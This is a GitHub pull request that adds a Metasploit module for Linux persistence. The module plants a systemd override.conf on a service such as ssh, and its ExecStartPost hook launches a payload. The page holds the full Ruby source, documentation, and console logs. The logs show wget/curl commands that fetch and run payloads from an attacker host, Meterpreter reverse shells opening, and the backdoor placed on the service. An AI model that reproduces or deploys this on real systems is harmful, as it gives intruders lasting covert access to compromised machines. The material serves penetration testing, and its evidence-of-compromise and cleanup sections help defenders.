-
Notifications
You must be signed in to change notification settings - Fork 14.5k
persistence: systemd service override #20538
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,160 @@ | ||
## Vulnerable Application | ||
|
||
This module will create an override.conf file for a SystemD service on the box. | ||
The ExecStartPost hook is used to launch the payload after the service is started. | ||
We need enough access (typically root) to write in the /etc/systemd/system | ||
directory and potentially restart services. | ||
|
||
Verified on Ubuntu 22.04 | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Exploit a box and get a shell | ||
2. `use exploit/linux/persistence/init_systemd_override` | ||
3. `set SESSION <id>` | ||
4. `exploit` | ||
|
||
## Options | ||
|
||
### SERVICE | ||
|
||
Which service to override. Defaults to `ssh`. | ||
|
||
### ReloadService | ||
|
||
If set to `true` (default), runs `systemctl restart` to restart the service. | ||
|
||
## Scenarios | ||
|
||
### Ubuntu 22.04 | ||
|
||
Initial (root) access | ||
|
||
``` | ||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives. | ||
resource (/root/.msf4/msfconsole.rc)> setg verbose true | ||
verbose => true | ||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
resource (/root/.msf4/msfconsole.rc)> set target 7 | ||
target => 7 | ||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082 | ||
srvport => 8082 | ||
resource (/root/.msf4/msfconsole.rc)> set uripath l | ||
uripath => l | ||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (/root/.msf4/msfconsole.rc)> set lport 4446 | ||
lport => 4446 | ||
resource (/root/.msf4/msfconsole.rc)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Started reverse TCP handler on 1.1.1.1:4446 | ||
[*] Using URL: http://1.1.1.1:8082/l | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO 1k6smMWF --no-check-certificate http://1.1.1.1:8082/l; chmod +x 1k6smMWF; ./1k6smMWF& disown | ||
msf exploit(multi/script/web_delivery) > | ||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3090404 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42996) at 2025-09-11 17:18:18 -0400 | ||
|
||
msf exploit(multi/script/web_delivery) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
|
||
meterpreter > sysinfo | ||
Computer : 2.2.2.2 | ||
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > background | ||
[*] Backgrounding session 1... | ||
``` | ||
|
||
Persistence (utilizing a manual restart) | ||
|
||
``` | ||
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd_override | ||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf exploit(linux/persistence/init_systemd_override) > set session 1 | ||
session => 1 | ||
msf exploit(linux/persistence/init_systemd_override) > set ReloadService false | ||
ReloadService => false | ||
msf exploit(linux/persistence/init_systemd_override) > exploit | ||
[*] Command to run on remote host: curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& | ||
[*] Exploit running as background job 1. | ||
[*] Exploit completed, but no session was created. | ||
|
||
[*] Fetch handler listening on 1.1.1.1:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
msf exploit(linux/persistence/init_systemd_override) > [*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based | ||
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. | ||
[*] Creating /etc/systemd/system/ssh.service.d | ||
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf | ||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc | ||
|
||
msf exploit(linux/persistence/init_systemd_override) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
|
||
meterpreter > shell | ||
Process 2862 created. | ||
Channel 6 created. | ||
systemctl restart ssh | ||
[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q | ||
[*] Sending payload to 2.2.2.2 (curl/7.81.0) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3090404 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:54688) at 2025-09-11 17:19:27 -0400 | ||
|
||
``` | ||
|
||
Evidence of compromise in systemctl | ||
|
||
``` | ||
systemctl status ssh | ||
* ssh.service - OpenBSD Secure Shell server | ||
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) | ||
Drop-In: /etc/systemd/system/ssh.service.d | ||
`-override.conf | ||
Active: active (running) since Thu 2025-09-11 21:19:26 UTC; 15s ago | ||
Docs: man:sshd(8) | ||
man:sshd_config(5) | ||
Process: 2864 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) | ||
Process: 2867 ExecStartPost=/bin/sh -c curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& (code=exited, status=0/SUCCESS) | ||
Main PID: 2866 (sshd) | ||
Tasks: 2 (limit: 3444) | ||
Memory: 5.7M | ||
CPU: 125ms | ||
CGroup: /system.slice/ssh.service | ||
|-2866 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups" | ||
`-2870 ./vYKBsdwwFTy | ||
|
||
Sep 11 21:19:26 ubuntu2204 systemd[1]: Starting OpenBSD Secure Shell server... | ||
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on 0.0.0.0 port 22. | ||
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on :: port 22. | ||
Sep 11 21:19:26 ubuntu2204 systemd[1]: Started OpenBSD Secure Shell server. | ||
``` | ||
|
||
Cleanup | ||
|
||
``` | ||
meterpreter > run /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc | ||
[*] Processing /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc for ERB directives. | ||
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> rm /etc/systemd/system/ssh.service.d/override.conf | ||
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "daemon-reload" | ||
Process 2914 created. | ||
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "restart ssh.service" | ||
Process 2915 created. | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,155 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Post::Unix | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::EXE # for generate_payload_exe | ||
include Msf::Exploit::Local::Persistence | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Service SystemD override.conf Persistence', | ||
'Description' => %q{ | ||
This module will create an override.conf file for a SystemD service on the box. | ||
The ExecStartPost hook is used to launch the payload after the service is started. | ||
We need enough access (typically root) to write in the /etc/systemd/system | ||
directory and potentially restart services. | ||
Verified on Ubuntu 22.04 | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', | ||
], | ||
'Platform' => ['unix', 'linux'], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
['systemd', {}], | ||
['systemd user', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'Arch' => [ | ||
ARCH_CMD, | ||
ARCH_X86, | ||
ARCH_X64, | ||
ARCH_ARMLE, | ||
ARCH_AARCH64, | ||
ARCH_PPC, | ||
ARCH_MIPSLE, | ||
ARCH_MIPSBE | ||
], | ||
'References' => [ | ||
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'], | ||
['URL', 'https://askubuntu.com/a/659268'], | ||
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files | ||
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE] | ||
], | ||
'SessionTypes' => ['shell', 'meterpreter'], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] | ||
}, | ||
'DisclosureDate' => '2010-03-30' # systemd release date | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']), | ||
] | ||
) | ||
register_advanced_options( | ||
[ | ||
OptBool.new('ReloadService', [true, 'Reload the service', true]) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This seems like a non-issue for ARCH_CMD payloads? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. On second thought, the There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
correct, however this has been discussed a few times (@dledda-r7 can provide info) and the potential solution was #20497 (review), however, payload isn't initialized in the check method so it will error out. Another module with another r7 reviewer on one of the persistence modules had this issue (can't seem to find it right now). There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
I think the check method is the right place. If we move it to |
||
|
||
root_dir = '/lib/systemd/system/' | ||
service_file = "#{root_dir}#{datastore['SERVICE']}.service" | ||
|
||
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file) | ||
|
||
service_root_dir = '/etc/systemd/system/' | ||
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d" | ||
override_conf = "#{service_dir}/override.conf" | ||
|
||
if directory?(service_dir) | ||
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf) | ||
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir) | ||
else | ||
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir) | ||
end | ||
|
||
CheckCode::Appears("#{writable_dir} is writable and system is systemd based") | ||
end | ||
|
||
def install_persistence | ||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d" | ||
override_conf = "#{service_dir}/override.conf" | ||
|
||
unless exists?(service_dir) | ||
vprint_status("Creating #{service_dir}") | ||
cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This will fail if there's an errant tik or space, so we are avoiding There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is a copy of what happens with the library, so its arguably no worse than |
||
end | ||
|
||
if exists?(override_conf) | ||
conf = read_file(override_conf) | ||
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup") | ||
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}") | ||
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n" | ||
else | ||
@clean_up_rc << "rm #{override_conf}\n" | ||
end | ||
|
||
if payload.arch.first == 'cmd' | ||
p_load = payload.encoded | ||
p_load = ' &' unless p_load.end_with?('&') | ||
contents = <<~OVERRIDE | ||
[Service] | ||
ExecStartPost=/bin/sh -c '#{p_load}' | ||
OVERRIDE | ||
else | ||
payload_path = writable_dir | ||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" | ||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) | ||
payload_path << payload_name | ||
print_status("Uploading payload file to #{payload_path}") | ||
upload_and_chmodx payload_path, generate_payload_exe | ||
contents = <<~OVERRIDE | ||
[Service] | ||
ExecStartPost=/bin/sh -c '#{payload_path} &' | ||
OVERRIDE | ||
end | ||
|
||
vprint_status("Writing override file to: #{override_conf}") | ||
write_file(override_conf, contents) | ||
|
||
# This was taken from pam_systemd(8) | ||
systemd_socket_id = cmd_exec('id -u') | ||
systemd_socket_dir = "/run/user/#{systemd_socket_id}" | ||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload") | ||
@clean_up_rc << 'execute -f /bin/systemctl -a "daemon-reload"' | ||
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\"" | ||
|
||
if datastore['ReloadService'] | ||
vprint_status("Reloading #{datastore['SERVICE']} service") | ||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same as above for |
||
|
||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You may want to check out other arches like MIPS64 and PPC64
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
good point. this list is synced across the non-windows persistence modules, so I think it'll be easier to just do one update and get them all at once. Maybe open a new issue and assign it to me to do that and i'll get to it when the rest of these are landed.